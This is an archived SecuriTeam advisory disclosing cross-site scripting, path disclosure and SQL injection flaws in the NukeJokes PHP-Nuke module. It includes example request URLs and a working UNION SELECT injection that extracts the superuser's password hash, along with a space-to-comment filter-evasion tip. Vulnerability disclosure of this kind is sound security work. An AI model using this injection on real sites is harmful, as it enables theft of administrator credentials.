[UNIX] NukeJokes Module For PhpNuke Multiple Vulnerabilities

From: SecuriTeam (support_at_securiteam.com)
Date: 05/09/04

  • Next message: SecuriTeam: "[NT] Remote Heap Corruption overflow Vulnerability in MailEnable"
    To: list@securiteam.com
    Date: 9 May 2004 20:06:24 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      NukeJokes Module For PhpNuke Multiple Vulnerabilities
    ------------------------------------------------------------------------

    SUMMARY

    " <http://funportal.beanwebb.com/> NukeJokes is an add-on for PHPNuke. It
    has been tested with PHPNuke 6.0. It should work with 6.5 and some lower
    versions but I haven't been able to test it. Nuke Jokes allows you to have
    a database of jokes on your website. Jokes are separated into different
    categories to make them easier to find. It includes the ability to rate
    jokes, shows how many views they've had and other information. Also
    includes a search engine. The admin area allows you to add, edit and
    delete jokes and categories, install and uninstall the database and
    validate user added jokes (Excerpt from README)".

    Nearly all variables passed to NukeJokes are completely unsanitizied,
    giving rise to a multitude of attacks such as cross-site scripting, path
    disclosure and SQL injection.

    DETAILS

    Vulnerable Systems:
     * NukeJokes version 2 Beta and prior

    Almost all of SQL queries in NukeJokes are unsanitized. In effect,
    variables that are received from the browser are passed directly to the
    SQL queries.

    Due to the large amount of vulnerable variables, only handful examples
    will be presented:
    Full Path Disclosure
    http://localhost/nuke72/modules/NukeJokes/mainfunctions.php
    http://localhost/nuke72/modules.php?name=NukeJokes&func=JokeView&jokeid=foobar
    http://localhost/nuke72/modules.php?name=NukeJokes&func=CatView&cat=foobar

    Cross-Site Scripting
    http://localhost/nuke72/modules.php?name=NukeJokes&func=CatView&cat=[xss
    code here]
    http://localhost/nuke72/modules.php?name=NukeJokes&func=JokeView&jokeid=[xss code here]

    SQL Injection
    The following URL can be used to grab the super user's MD5 password:
    http://localhost/nuke72/modules.php?name=NukeJokes&file=print&jokeid=-1
    UNION SELECT aid,pwd FROM nuke_authors WHERE radminsuper=1 LIMIT 1/*
    (NOTE: Intermediate spaces ' ' should be replaced with '/**/', without the
    quotes).

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:come2waraxe@yahoo.com> Janek
    Vind.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NT] Remote Heap Corruption overflow Vulnerability in MailEnable"

    Relevant Pages

    • [UNIX] Protector System Multiple Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Several classes of vulnerabilities have been found in Protector. ... cross-site scripting and SQL injection attacks. ...
      (Securiteam)
    • [UNIX] PhotoPost PHP Pro Multiple Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... PhotoPost PHP Pro suffers from multiple SQL injection, ... There are plenty of SQL injection vulnerabilities in PhotoPost PHP Pro. ...
      (Securiteam)
    • [REVS] Advanced Topics on SQL Injection Protection
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... SQL injection is now one of the most common attacks in the Internet. ... Static query statement - Development Phrase ... Some programmers may think escaping apostrophe with two apostrophes (and ...
      (Securiteam)
    • [TOOL] BSQL Hacker - Advanced SQL Injection Framework / Tool
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... BSQL Hacker - Advanced SQL Injection Framework / Tool ... Attack Templates: ... Blind SQL Injection ...
      (Securiteam)
    • [UNIX] PHPNuke Multiple Vulnerabilities in Search Module
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... cross-site scripting and SQL injections located throughout the ... The vulnerability exists in the ... The first SQL injection vulnerability is a non-critical one in the ...
      (Securiteam)